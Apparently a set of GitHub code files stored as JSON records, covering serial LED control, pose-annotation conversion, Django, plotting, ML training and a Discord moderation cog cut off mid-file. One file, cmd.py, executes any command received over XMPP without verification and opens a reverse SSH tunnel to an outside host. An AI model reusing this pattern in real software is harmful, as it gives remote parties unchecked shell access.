+{"seq_id":"35755353880","text":"'''import serial\r\nfrom serial import Serial\r\nimport time\r\n\r\ndef light_on_off(i):\r\n    serialcomm = serial.Serial('COM8', 9600)\r\n    print('############')\r\n    print(i)\r\n    print('############')\r\n        serialcomm.timeout = 1\r\n\r\n        serialcomm.write(i.encode())\r\n\r\n    time.sleep(10)\r\n\r\n    print('################')\r\n    print(serialcomm.readline().decode('ascii'))\r\n    print('############')\r\n    serialcomm.close()\r\n     print('############')\r\n    print(i)\r\n    print(b'L')\r\n    print(i)\r\n    #print('############')\r\n    ser = serial.Serial('COM8',9600,timeout = 1)\r\n    val = i.encode()\r\n    #ser.write(val)\r\nser = serial.Serial('COM8', 9600, timeout=1)\r\n\r\ntry:\r\n    ser.write(b'H')\r\n    print(ser.write(b'H'))\r\nexcept:\r\n    print('error')'''\r\n\r\n\r\n\r\nimport serial\r\nfrom serial import Serial\r\nimport time\r\n\r\nser = serial.Serial('COM8', 9600)\r\n\r\nser.write(b'H')\r\n# LED turns on\r\n\r\nser.write(b'L')\r\n# LED turns off\r\n\r\nser.write(b'H')\r\n# LED turns on\r\n\r\nser.write(b'L')\r\n# LED turns off\r\n\r\nser.close()\r\nexit()","repo_name":"prathikbafna/capstone-project-Eye-gazing","sub_path":"home_automation/home_automation_control.py","file_name":"home_automation_control.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26797314938","text":"import datetime\nimport random\nimport json\nimport os\n\ndirec = \"/home/bresilla/.darwin/datasets/wur-agrofoodrobotics/cow_pose/releases/newr/annotations/\"\nimpath = \"/home/bresilla/.darwin/datasets/wur-agrofoodrobotics/cow_pose/images/\"\njson_file = \"/home/bresilla/.darwin/datasets/wur-agrofoodrobotics/cow_pose/releases/newr/\"\n\ndirectory_list = os.listdir(direc)\nrandom.shuffle(directory_list)\n\nsplit=int((len(directory_list)/10)*8)\ndata_list = [{\"images\": directory_list[:split], \"name\": \"train.json\"}, {\"images\": directory_list[split:], \"name\": \"val.json\"}]\n\nfor coll in data_list:\n    images = []\n    annotations = []\n    i = random.randint(11111, 99999);\n    for file in coll[\"images\"]:\n        i = i + 1\n        with open(direc + file, 'r') as fcc_file:\n            fcc_data = json.load(fcc_file)\n            image_struct = {\n                \"id\": i,\n                \"file_name\": fcc_data[\"image\"][\"original_filename\"],\n                \"width\": int(fcc_data['image']['width']),\n                \"height\": int(fcc_data['image']['height']),\n                \"full_name\": impath + fcc_data[\"image\"][\"original_filename\"],\n            }\n            images.append(image_struct)\n            for e in fcc_data['annotations']:\n                img_width=int(fcc_data['image']['width'])\n                img_height=int(fcc_data['image']['height'])\n                parts = {}\n                x_min = img_width\n                x_max = 0\n                y_min = img_height\n                y_max = 0\n                for p in e[\"skeleton\"][\"nodes\"]:\n                    parts[p[\"name\"]]=[int(p[\"x\"]),int(p[\"y\"]),int(p[\"occluded\"])+1]\n                    if int(p[\"x\"]) < x_min:\n                        x_min = int(p[\"x\"])\n                        if x_min < 0: \n                            x_min = 0\n                            parts[p[\"name\"]]=[int(p[\"x\"]),int(p[\"y\"]),0]\n                    if int(p[\"x\"]) > x_max:\n                        x_max = int(p[\"x\"])\n                        if x_max > img_width: \n                            x_max + img_width\n                            parts[p[\"name\"]]=[int(p[\"x\"]),int(p[\"y\"]),0]\n                    if int(p[\"y\"]) < y_min:\n                        y_min = int(p[\"y\"])\n                        if y_min < 0: \n                            y_min = 0\n                            parts[p[\"name\"]]=[int(p[\"x\"]),int(p[\"y\"]),0]\n                    if int(p[\"y\"]) > y_max:\n                        y_max = int(p[\"y\"])\n                        if y_max > img_height: \n                            y_max + img_height\n                            parts[p[\"name\"]]=[int(p[\"x\"]),int(p[\"y\"]),0]\n                ann_width = x_max-x_min\n                ann_height = y_max-y_min\n                keypoints = [\n                        parts[\"left_eye\"],\n                        parts[\"right_eye\"],\n                        parts[\"left_ear\"],\n                        parts[\"right_ear\"],\n                        parts[\"nose\"],\n                        parts[\"throat\"],\n                        parts[\"tailbase\"],\n                        parts[\"withers\"],\n                        parts[\"front_left_elbow\"],\n                        parts[\"front_right_elbow\"],\n                        parts[\"rear_left_elbow\"],\n                        parts[\"rear_right_elbow\"],\n                        parts[\"front_left_knee\"],\n                        parts[\"front_right_knee\"],\n                        parts[\"rear_left_knee\"],\n                        parts[\"rear_right_knee\"],\n                        parts[\"front_left_paw\"],\n                        parts[\"front_right_paw\"],\n                        parts[\"rear_left_paw\"],\n                        parts[\"rear_right_paw\"],\n                    ]\n                datas = {\n                    \"keypoints\": [float(item) for sub_list in keypoints for item in sub_list],\n                    \"image_id\": i,\n                    \"id\": e[\"instance_id\"][\"value\"],\n                    \"num_keypoints\": 20,\n                    \"bbox\": [float(x_min), float(y_min), float(ann_width), float(ann_height)],\n                    \"iscrowd\": 0,\n                    \"area\": float(ann_width * ann_height),\n                    \"category_id\": 1,\n                    \"x_min\": x_min,\n                    \"x_max\": x_max,\n                    \"y_min\": y_min,\n                    \"y_max\": y_max,\n                    \"width\": ann_width,\n                    \"height\": ann_height,\n                    \"points\": keypoints,\n                }\n                annotations.append(datas)\n\n\n    categories = { \n        \"supercategory\": \"animal\",\n        \"id\": 1,\n        \"name\": \"cow\",\n        \"keypoints\": [ \"L_Eye\", \"R_Eye\", \"L_EarBase\", \"R_EarBase\", \"Nose\", \"Throat\", \"TailBase\", \"Withers\", \"L_F_Elbow\", \"R_F_Elbow\", \"L_B_Elbow\", \"R_B_Elbow\", \"L_F_Knee\", \"R_F_Knee\", \"L_B_Knee\", \"R_B_Knee\", \"L_F_Paw\", \"R_F_Paw\", \"L_B_Paw\", \"R_B_Paw\"],\n        \"skeleton\": [[1, 2], [1, 3], [2, 4], [1, 5], [2, 5], [5, 6], [6, 8], [7, 8], [6, 9], [9, 13], [13, 17], [6, 10], [10, 14], [14, 18], [7, 11], [11, 15], [15, 19], [7, 12], [12, 16], [16, 20]]\n        }\n\n    info = {\n        \"version\": \"1.0\",\n        \"data_path\": impath,\n        \"date_created\": str(datetime.datetime.now()),\n        \"dataset_size\": len(coll[\"images\"])\n    }\n\n    all = {\"info\": info, \"images\": images, \"annotations\": annotations, \"categories\": [categories]}\n    json_object = json.dumps(all, indent = 4) \n    name = json_file+coll[\"name\"]\n    with open(name, 'w') as f:\n        f.write(json_object)\n","repo_name":"bresilla/coco_visualiser","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2373702211","text":"from django.db import models\n\nfrom common.models import BaseModel\nfrom vehicles.models.vehicle import Vehicle\n\n\nclass VehicleImage(BaseModel):\n    vehicle = models.ManyToManyField(\n        Vehicle,\n        blank=True,\n        related_name='images',\n        verbose_name=\"ТС\"\n    )\n    image = models.ImageField(upload_to='images/vehicles/', verbose_name=\"Фото\")\n\n    class Meta:\n        verbose_name = \"Фотография\"\n        verbose_name_plural = \"Фотографии\"\n\n\nclass VehicleFile(BaseModel):\n    vehicle = models.ManyToManyField(\n        Vehicle,\n        blank=True,\n        related_name='files',\n        verbose_name=\"ТС\"\n    )\n    file = models.FileField(upload_to='files/vehicles/', verbose_name=\"Файл\")\n\n    class Meta:\n        verbose_name = \"Файл\"\n        verbose_name_plural = \"Файлы\"\n","repo_name":"redbird504/fms_backend","sub_path":"src/vehicles/models/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15492068252","text":"import pandas as pd\nimport plotly.graph_objects as go\nimport plotly\n\n# read data\ndf = pd.read_csv('/Users/tomgurrie/sankey_austin.csv')\n\n# convert to dictionary\ndata = df[['source','target','value']].to_dict(orient=\"list\")\n\n# create plot\nfig = go.Figure(data=[go.Sankey(\n    node = dict(\n      pad = 15,\n      thickness = 20,\n      line = dict(color = \"black\", width = 0.5),\n      label = [\"Aus-E\", \"Aus-W\", \"Both\", \"New\", \"Aus-E\", \"Aus-W\", \"Both\", \"Lapsed\"],\n      color = \"blue\"\n    ),\n    link = data\n  )])\n\nfig.update_layout(title_text=\"Basic Sankey Diagram\", font_size=10)\n\nplotly.offline.plot(fig, filename='sankey_austin.html')\n\n","repo_name":"Redledbetter08/Projects","sub_path":"sankey_austin/sankey_diagram.py","file_name":"sankey_diagram.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"362865168","text":"from callback import Callback\nfrom pycrypt import decode_crypt \nimport commands\nimport logging\nimport os\nfrom Crypto.PublicKey import RSA\nfrom Crypto import Random\nimport binascii\n\nclass Cmd(Callback):\n    def __init__(self):\n        self.log = logging.getLogger(\"cement:app:xmpp\")\n        self.log.debug('Cmd class creat object !', extra={'namespace' : 'xmpp'})\n\n    def run(self, args = None):\n        self.log.debug('args:%s'%args.items(), extra={'namespace' : 'xmpp'})\n        cmd = args.get('cmd', 'not found')\n        self.log.debug('cmd:%s  '%cmd, extra={'namespace' : 'xmpp'})\n        if cmd != 'not found':\n            #cmd_decoded = self.decode_crypt(cmd)\n            #text = binascii.a2b_hex(data)\n            #text = binascii.a2b_hex(cmd)\n            #self.log.debug('cmd text:%s  '%text, extra={'namespace' : 'xmpp'})\n            #cmd_decoded = decode_crypt(text)\n            cmd_decoded = cmd\n            self.log.debug('cmd decoded :%s  '%cmd_decoded, extra={'namespace' : 'xmpp'})\n            (status, output) = commands.getstatusoutput(cmd_decoded)\n            self.log.debug('[status]:%s  [output]:%s'%(status, output), extra={'namespace' : 'xmpp'})\n            if status != 0:\n                result = 'cmd execute error!'\n            else :\n                result = output\n        return result \n\n    def ssh_bind(self, args = None):\n        \"\"\"\n        ssh -R sourcePort:forwardToHost:onPort connectToHost\n        \"\"\"\n        self.log.debug('args:%s'%args.items(), extra={'namespace' : 'xmpp'})\n       \n        source_port = args.get('source_port', '22')\n        on_port = args.get('on_port', '9090')\n        connect_to_host = args.get('connect_to_host', 'ibox@www.pinet.cc')\n        #path = '/usr/local/src/RestXMPP/bin/'\n        path = '/home/spirit/work/git_test/RestXMPP/bin'\n        cmd = 'cd %s ; sh ssh_xmpp %s %s %s '%(path, on_port, source_port, connect_to_host) \n        self.log.debug('cmd:%s  '%cmd, extra={'namespace' : 'xmpp'})\n        os.system(cmd)\n        result = 'OK SSH Tunnel'\n        return result \n    \"\"\"\n    def decode_crypt(self,str_src):\n\n        self.log.debug('enter decode ', extra={'namespace' : 'xmpp'})\n        home = os.path.expanduser('~')\n        self.log.debug('home:%s'%home, extra={'namespace' : 'xmpp'})\n        f = open('%s/.ssh/id_rsa'%(home),'r')\n        self.log.debug('f:%s'%f, extra={'namespace' : 'xmpp'})\n        r = f.read()\n        key = RSA.importKey(r)\n        self.log.debug('key:%s'%key, extra={'namespace' : 'xmpp'})\n        #if key.has_private(): print \"Private key\"\n        s1 = key.decrypt(str_src) \n        print '-' * 30\n        print s1\n        return s1\n    \"\"\"\n    \"\"\"\n    def decode_crypt(str_src):\n        home = os.path.expanduser('~')\n        f = open('%s/.ssh/id_rsa'%(home),'r')\n        r = f.read()\n        print r\n        key = RSA.importKey(r)\n        #if key.has_private(): print \"Private key\"\n        s1 = key.decrypt(str_src) \n        return s1\n     \"\"\"\n","repo_name":"spartacus429496/restxmpp_backup","sub_path":"callbacks/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38509464821","text":"from django.contrib import admin\nfrom django.urls import path\nfrom .views import *\n\nurlpatterns = [\n    path('',home,name='home'),\n    path('productlist/',productList,name='productList'),\n    path('productdetail/<str:pk>/',productDetail,name='productDetail'),\n    path('productcreate/',productCreate,name='productCreate'),\n    path('productupdate/<str:pk>/',productUpdate,name='productUpdate'),\n    path('productdelete/<str:pk>/',productDelete,name='productDelete'),\n]\n","repo_name":"sachinspeaks/DRF-api","sub_path":"core/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20439056261","text":"# import os\n# import shutil \n# imgs_path = \"../img\"\n# segs_path = \"../mask1\"\n# train_path = \"../dataset_30000/train\"\n# val_path = \"../dataset_30000/val\"\n# test_path = \"../dataset_30000/test\"\n# for ia in range(18000):\n#     shutil.copyfile(f'{imgs_path}/{ia}.jpg',f\"{train_path}/{ia}.jpg\")\n# for ia in range(18000,21000):\n#     shutil.copyfile(f'{imgs_path}/{ia}.jpg',f\"{train_path}/{ia}.jpg\")\n# for ia in range(21000,30000):\n#     shutil.copyfile(f'{imgs_path}/{ia}.jpg',f\"{test_path}/{ia}.jpg\")\n\n\nfrom keras_segmentation.data_utils.data_loader import *\nfrom keras_segmentation.data_utils.visualize_dataset import *\n\nimg_path = \"dataset1/train\"\nano_img_path = \"dataset1/ano_train\"\n# img_path = \"dataset1/test\"\n# ano_img_path = \"dataset1/ano_test\"\nimg_path = \"dataset1/val\"\nano_img_path = \"dataset1/ano_val\"\nimg_path = \"demo/test\"\nano_img_path = \"demo/ano_test\"\n# verify_segmentation_dataset(img_path,ano_img_path,12,False,False)\n\n# \n# visuallize\nvisualize_segmentation_dataset(images_path=img_path,segs_path=ano_img_path,n_classes=12,no_show=False)\n# for seg_img, seg_path in visualize_segmentation_dataset(images_path=img_path,segs_path=ano_img_path,n_classes=12,no_show=True):\n# \tcv2.imwrite(f\"demo/ano_colors/{seg_path.split('/')[-1]}\", seg_img)\n\n\"\"\"\n0:sky\n1:building\n2:pole #cột đèn\n3:road\n4:sidewalk\n5:vegetation\n6:traffic light\n7:fence\n8:car\n9:person\n10:rider\n11:static\n\"\"\"","repo_name":"quyvsquy/demoUnet_Segnet_FCN_PSPnet_","sub_path":"test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18497206959","text":"\ndef arithmetic_arranger(list, x = False):\n    if len(list) > 5 : return ('Error: Too many problems.')\n    \n    new_list = []\n    for item in list:\n        if '*' in item or '/' in item:\n            return (\"Error: Operator must be '+' or '-'.\")\n        new_list.append(item.split())\n    \n    for i in new_list:\n        if not i[0].isdigit() or not i[2].isdigit():\n            return ('Error: Numbers must only contain digits.')\n        if len(i[0]) > 5 or len(i[2]) > 5: \n            return ('Error: Numbers cannot be more than four digits.')\n        \n        if i[1] == '+':\n            result = int(i[0]) + int(i[2])\n            i.append(str(result))\n        else:\n            result = int(i[0]) - int(i[2])\n            i.append(str(result))\n        \n    list_one = []\n    list_two = []\n    list_three = []\n    list_four = []  \n\n    for item in new_list:\n        if len(item[0]) < len(item[2]):\n            space = ' ' * (len(item[2]) - len(item[0]))\n            list_one.append('  ' + space + item[0])\n            list_two.append(item[1] + ' ' + item[2])\n            list_three.append('-' * len(item[1] + ' ' + item[2]))\n            if len(item[3]) == len(item[2]):\n                list_four.append( '  ' + item[3])\n            elif len(item[3]) > len(item[2]):\n                list_four.append( ' ' + item[3])\n            else:\n                list_four.append( ' ' + item[3])\n        else: \n            space = ' ' * (len(item[0]) - len(item[2]))\n            list_one.append('  ' + item[0])\n            list_two.append(item[1] + ' ' + space + item[2])\n            list_three.append('-' * len(item[1] + ' ' + item[0]))\n            trick = ' ' * (len(item[0]) - len(item[3]))\n            list_four.append('  ' +  trick + item[3])\n    if x:\n        return ('    '.join(list_one) + '\\n' + '    '.join(list_two) + '\\n' + '    '.join(list_three) + '\\n' + '    '.join(list_four))\n    else:\n        return ('    '.join(list_one) + '\\n' + '    '.join(list_two) + '\\n' + '    '.join(list_three))\n \n\n\nprint(arithmetic_arranger([\"10901 - 10\", \"40 - 100\", \"40 - 405\", \"3 + 409\"], x = False))\n","repo_name":"pierrebomfim/freecodecamp-projects","sub_path":"arithmetic-formatter.py","file_name":"arithmetic-formatter.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16336876206","text":"from django.urls import path\n\nfrom gain_knowledge.main.views import CategoryListView, CourseDetailView, display_question, final_score, \\\n    HomeView, CoursesListView, TestsListView, CreateCourseView, UserCoursesListView, CourseEditView, CourseDeleteView, \\\n    UserTestsListView, CreateTestView, EditTestView, DeleteTestView, UserQuestionsListView, CreateQuestionView, \\\n    DeleteQuestionView, EditQuestionView, QuestionDetailView\n\nurlpatterns = [\n    path('', HomeView.as_view(), name='index'),\n    path('categories/', CategoryListView.as_view(), name='list categories'),\n    path('categories/<int:pk>', CoursesListView.as_view(), name='list courses'),\n    path('course/<int:pk>', CourseDetailView.as_view(), name='courses details'),\n    path('tests/<int:pk>', TestsListView.as_view(), name='list tests'),\n    path('question/<int:pk_test>/<int:count_questions>', display_question, name='display question'),\n    path('final_score/<int:pk_test>', final_score, name='final score'),\n    path('create_course/', CreateCourseView.as_view(), name='create course'),\n    path('user_courses/', UserCoursesListView.as_view(), name='user list courses'),\n    path('edit_course/<int:pk>', CourseEditView.as_view(), name='edit course'),\n    path('delete_course/<int:pk>', CourseDeleteView.as_view(), name='delete course'),\n    path('user_tests/<int:pk>', UserTestsListView.as_view(), name='user list tests'),\n    path('create_test/<int:pk>', CreateTestView.as_view(), name='create test'),\n    path('edit_test/<int:pk>', EditTestView.as_view(), name='edit test'),\n    path('delete_test/<int:pk>', DeleteTestView.as_view(), name='delete test'),\n    path('user_questions/<int:pk>', UserQuestionsListView.as_view(), name='user list questions'),\n    path('create_question/<int:pk>', CreateQuestionView.as_view(), name='create question'),\n    path('delete_question/<int:pk>', DeleteQuestionView.as_view(), name='delete question'),\n    path('edit_question/<int:pk>', EditQuestionView.as_view(), name='edit question'),\n    path('show_question/<int:pk>', QuestionDetailView.as_view(), name='show question'),\n]","repo_name":"nikozhuharov/gain_knowledge","sub_path":"gain_knowledge/gain_knowledge/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2223236890","text":"import torch\nfrom torch import Tensor\nimport config as cfg\nfrom torch.nn.functional import mse_loss, one_hot\nfrom instructors.base import Instructor\nimport numpy as np\nfrom torch.utils.data.dataset import TensorDataset\nfrom torch import optim\nfrom utils.metric import nll_gaussian\nfrom torch.optim.lr_scheduler import StepLR\n\n\nclass XNRIDECIns(Instructor):\n    \"\"\"\n    Train the decoder given the ground truth relations.\n    \"\"\"\n    def __init__(self, model: torch.nn.DataParallel, data: dict, es: np.ndarray, cmd):\n        \"\"\"\n        Args:\n            model: an auto-encoder\n            data: train / val /test set\n            es: edge list\n            cmd: command line parameters\n        \"\"\"\n        super(XNRIDECIns, self).__init__(cmd)\n        self.model = model\n        self.data = {key: TensorDataset(value[0], value[1])\n                     for key, value in data.items()}\n        self.es = torch.LongTensor(es)\n        # number of nodes\n        self.size = cmd.size\n        self.batch_size = cmd.batch\n        # optimizer\n        self.opt = optim.Adam(self.model.parameters(), lr=cfg.lr)\n        # learning rate scheduler, same as in NRI\n        self.scheduler = StepLR(self.opt, step_size=cfg.lr_decay, gamma=cfg.gamma)\n\n    def train(self):\n        # use the loss as the metric for model selection, default: +\\infty\n        val_best = np.inf\n        # path to save the current best model\n        prefix = '/'.join(cfg.log.split('/')[:-1])\n        name = '{}/best.pth'.format(prefix)\n        for epoch in range(1, 1 + self.cmd.epochs):\n            self.model.train()\n            # shuffle the data at each epoch\n            data = self.load_data(self.data['train'], self.batch_size)\n            loss_a = 0.\n            N = 0.\n            for adj, states in data:\n                if cfg.gpu:\n                    adj = adj.cuda()\n                    states = states.cuda()\n                scale = len(states) / self.batch_size\n                # N: number of samples, equal to the batch size with possible exception for the last batch\n                N += scale\n                loss_a += scale * self.train_nri(states, adj)\n            loss_a /= N \n            self.log.info('epoch {:03d} loss {:.3e}'.format(epoch, loss_a))\n            losses = self.report('val', [cfg.M])\n\n            val_cur = losses[0]\n            if val_cur < val_best:\n                # update the current best model when approaching a lower loss\n                val_best = val_cur\n                torch.save(self.model.module.state_dict(), name)\n\n            # learning rate scheduling\n            self.scheduler.step()\n        if self.cmd.epochs > 0:\n            self.model.module.load_state_dict(torch.load(name))\n        _ = self.test('test', 20)\n\n    def report(self, name: str, Ms: list) -> list:\n        \"\"\"\n        Evaluate the mean squared errors.\n\n        Args:\n            name: 'train' / 'val' / 'test'\n            Ms: [...], each element is a number of steps to predict\n        \n        Return:\n            mses: [...], mean squared errors over all steps\n        \"\"\"\n        mses = []\n        for M in Ms:\n            mse, ratio = self.evaluate(self.data[name], M)\n            mses.append(mse)\n            self.log.info('{} M {:02d} mse {:.3e} ratio {:.4f}'.format(\n                name, M, mse, ratio))\n        return mses\n\n    def train_nri(self, states: Tensor, adj: Tensor) -> Tensor:\n        \"\"\"\n        Args:\n            states: [batch, step, node, dim], observed node states\n            adj: [batch, E, K], ground truth interacting relations\n\n        Return:\n            loss: reconstruction loss\n        \"\"\"\n        output = self.model.module.predict_states(states, one_hot(adj.transpose(0, 1)).float(), cfg.M)\n        loss = nll_gaussian(output, states[:, 1:], 5e-5)\n        self.optimize(self.opt, loss * cfg.scale)\n        return loss\n\n    def evaluate(self, test, M: int):\n        \"\"\"\n        Evaluate related metrics to monitor the training process.\n\n        Args:\n            test: data set to be evaluted\n            M: number of steps to predict\n\n        Return: \n            mse: mean square error over all steps\n            ratio: relative root mean squared error\n        \"\"\"\n        mse, ratio = [], []\n        data = self.load_data(test, self.batch_size)\n        N = 0.\n        with torch.no_grad():\n            for adj, states in data:\n                if cfg.gpu:\n                    adj = adj.cuda()\n                    states = states.cuda()\n                states_dec = states[:, -cfg.train_steps:, :, :]\n                target = states_dec[:, 1:]\n                \n                output = self.model.module.predict_states(states_dec, one_hot(adj.transpose(0, 1)).float(), M)\n                # scale all metrics to match the batch size\n                scale = len(states) / self.batch_size\n                N += scale\n\n                mse.append(scale * mse_loss(output, target).data)\n                ratio.append(scale * (((output - target) ** 2).sum(-1).sqrt() / (target ** 2).sum(-1).sqrt()).mean())\n        mse = sum(mse) / N\n        ratio = sum(ratio) / N\n        return mse, ratio\n\n    def test(self, name: str, M: int):\n        \"\"\"\n        Evaluate related metrics to measure the model performance.\n        The biggest difference between this function and evalute() is that, the mses are evaluated at each step.\n\n        Args:\n            name: 'train' / 'val' / 'test'\n            M: number of steps to predict\n\n        Return:\n            mse_multi: mse at each step\n        \"\"\"\n        \"\"\"\n        mses: mean square error over all steps\n        ratio: relative root mean squared error\n        mse_multi: mse at each step\n        \"\"\"\n        mse_multi, mses, ratio = [], [], []\n        data = self.load_data(self.data[name], self.batch_size)\n        N = 0.\n        with torch.no_grad():\n            for adj, states in data:\n                if cfg.gpu:\n                    adj = adj.cuda()\n                    states = states.cuda()\n                states_dec = states[:, -cfg.train_steps:, :, :]\n                target = states_dec[:, 1:]\n                \n                output = self.model.module.predict_states(states_dec, one_hot(adj.transpose(0, 1)).float(), cfg.M)\n                # scale all metrics to match the batch size\n                scale = len(states) / self.batch_size\n                N += scale\n\n                mses.append(scale * mse_loss(output, target).data)\n                ratio.append(scale * (((output - target) ** 2).sum(-1).sqrt() / (target ** 2).sum(-1).sqrt()).mean())\n\n                states_dec = states[:, cfg.train_steps:cfg.train_steps+M+1, :, :]\n                target = states_dec[:, 1:]\n                \n                output = self.model.module.predict_states(states_dec, one_hot(adj.transpose(0, 1)).float(), M)\n                mse = ((output - target) ** 2).mean(dim=(0, 2, -1))\n                mse *= scale\n                mse_multi.append(mse)\n        mses = sum(mses) / N\n        mse_multi = sum(mse_multi) / N\n        ratio = sum(ratio) / N\n        self.log.info('{} M {:02d} mse {:.3e} ratio {:.4f}'.format(\n                name, M, mses, ratio,))\n        msteps = ','.join(['{:.3e}'.format(i) for i in mse_multi])\n        self.log.info(msteps)\n        return mse_multi\n","repo_name":"hilbert9221/NRI-MPM","sub_path":"instructors/XNRI_dec.py","file_name":"XNRI_dec.py","file_ext":"py","file_size_in_byte":7242,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"21126945756","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef func(x):\n    # 直接返回函数\n    return np.exp(-x*x/(2*155.2*155.2))\n\n\ndef plot_func():\n    # param:起点，终点，间距\n    x = np.arange(0, 1552//2, 0.01)\n    y = func(x)\n    plt.plot(x, y)\n    plt.show()\n\n\nif __name__ == '__main__':\n    plot_func()\n","repo_name":"Sherhang/MyStudy","sub_path":"Python/PythonCodeInTest/函数图像测试/one_dimension.py","file_name":"one_dimension.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"13319129122","text":"import discord\nfrom discord.ext import commands\n\nfrom functions import send_message  # pylint: disable=import-error\n\n\nclass Users(commands.Cog):\n    \"\"\"\n    Commands related to Users.\n    \"\"\"\n    def __init__(self, client):\n        self.client = client\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.command(brief=\"Send avatar picture of an user.\",\n                      aliases=[\"uavatar\"])\n    async def useravatar(self, ctx, member: discord.Member = None):\n        \"\"\"\n        Send avatar picture of a specified user.\n        \"\"\"\n        member = member if member is not None else ctx.message.author\n        await send_message(ctx, member.avatar_url)\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_permissions(kick_members=True)\n    @commands.bot_has_permissions(kick_members=True)\n    @commands.command(brief=\"Kick an user.\")\n    async def kick(self, ctx, member: discord.Member, *, reason=None):\n        \"\"\"\n        Kick an user.\n        \"\"\"\n        try:\n            await member.kick(reason=reason)\n        except discord.errors.Forbidden:\n            await send_message(ctx, \"That user is too powerful...\")\n        else:\n            await send_message(ctx, f\"Kicked {member.mention}.\")\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_permissions(ban_members=True)\n    @commands.bot_has_permissions(ban_members=True)\n    @commands.command(brief=\"Ban an user.\")\n    async def ban(self, ctx, member: discord.Member, *, reason=None):\n        \"\"\"\n        Ban un user.\n        \"\"\"\n        try:\n            await member.ban(reason=reason)\n        except discord.errors.Forbidden:\n            await send_message(ctx, \"That user is too powerful...\")\n        else:\n            await send_message(ctx, f\"Banned {member.mention}.\")\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_permissions(ban_members=True)\n    @commands.bot_has_permissions(ban_members=True)\n    @commands.command(brief=\"Unban an user.\")\n    async def unban(self, ctx, *, member):\n        \"\"\"\n        Unban an user.\n        Use the format username#discriminator\n        \"\"\"\n        banned_users = await ctx.guild.bans()\n\n        try:\n            member_name, member_disc = member.split('#')\n        except ValueError:\n            await send_message(ctx, \"Invalid format! \"\n                                    \"Make sure to include \"\n                                    \"the user's discriminator: User#0000\")\n            return\n        else:\n            for bans in banned_users:\n                if (bans.user.name, bans.user.discriminator) == \\\n                        (member_name, member_disc):\n                    await ctx.guild.unban(bans.user)\n                    await send_message(ctx, f\"Unbanned {bans.user.mention}.\")\n                    return\n\n        await send_message(ctx, \"User not found. Make sure to \"\n                                \"differentiate capital letters.\")\n\n    @commands.cooldown(1, 5, commands.BucketType.user)\n    @commands.has_permissions(ban_members=True)\n    @commands.bot_has_permissions(ban_members=True)\n    @commands.command(brief=\"List of all banned users and reason for the ban.\",\n                      aliases=[\"bl\"])\n    async def banlist(self, ctx):\n        \"\"\"\n        List of all banned users and reason for the ban, if there's one.\n        \"\"\"\n        banned_users = await ctx.guild.bans()\n        message = \"\"\n\n        if len(banned_users):\n            message = (f\"{person.user.mention} - \"\n                       f\"{person.user.name}#{person.user.discriminator}\\n\"\n                       f\"Reason: {person.reason}\" for person in banned_users)\n\n            await send_message(ctx, \"\\n\".join(message))\n        else:\n            await send_message(ctx, \"No banned users in this server!\")\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_guild_permissions(mute_members=True)\n    @commands.bot_has_guild_permissions(mute_members=True)\n    @commands.command(brief=\"Mute an user.\")\n    async def mute(self, ctx, member: discord.Member):\n        \"\"\"\n        Mute an user microphone.\n        \"\"\"\n        try:\n            await member.edit(mute=True)\n        except discord.HTTPException:\n            await send_message(ctx, \"Member not connected to any voice chat.\")\n        else:\n            await send_message(ctx, f\"Muted {member.mention}.\")\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_guild_permissions(mute_members=True)\n    @commands.bot_has_guild_permissions(mute_members=True)\n    @commands.command(brief=\"Unmute an user.\")\n    async def unmute(self, ctx, member: discord.Member):\n        \"\"\"\n        Unmute an user microhphone.\n        \"\"\"\n        try:\n            await member.edit(mute=False)\n        except discord.HTTPException:\n            await send_message(ctx, \"Member not connected to any voice chat.\")\n        else:\n            await send_message(ctx, f\"Unmuted {member.mention}.\")\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_guild_permissions(deafen_members=True)\n    @commands.bot_has_guild_permissions(deafen_members=True)\n    @commands.command(brief=\"Deafen an user.\")\n    async def deafen(self, ctx, member: discord.Member):\n        \"\"\"\n        Deafen an user audio.\n        \"\"\"\n        try:\n            await member.edit(deafen=True)\n        except discord.HTTPException:\n            await send_message(ctx, \"Member not connected to any voice chat.\")\n        else:\n            await send_message(ctx, f\"Deafened {member.mention}.\")\n\n    @commands.cooldown(1, 3, commands.BucketType.user)\n    @commands.has_guild_permissions(deafen_members=True)\n    @commands.bot_has_guild_permissions(deafen_members=True)\n    @commands.command(brief=\"Undeafen an user.\")\n    async 